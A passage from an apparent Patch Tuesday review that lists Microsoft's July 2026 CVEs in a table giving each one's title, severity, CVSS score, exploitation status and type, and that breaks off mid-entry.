Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  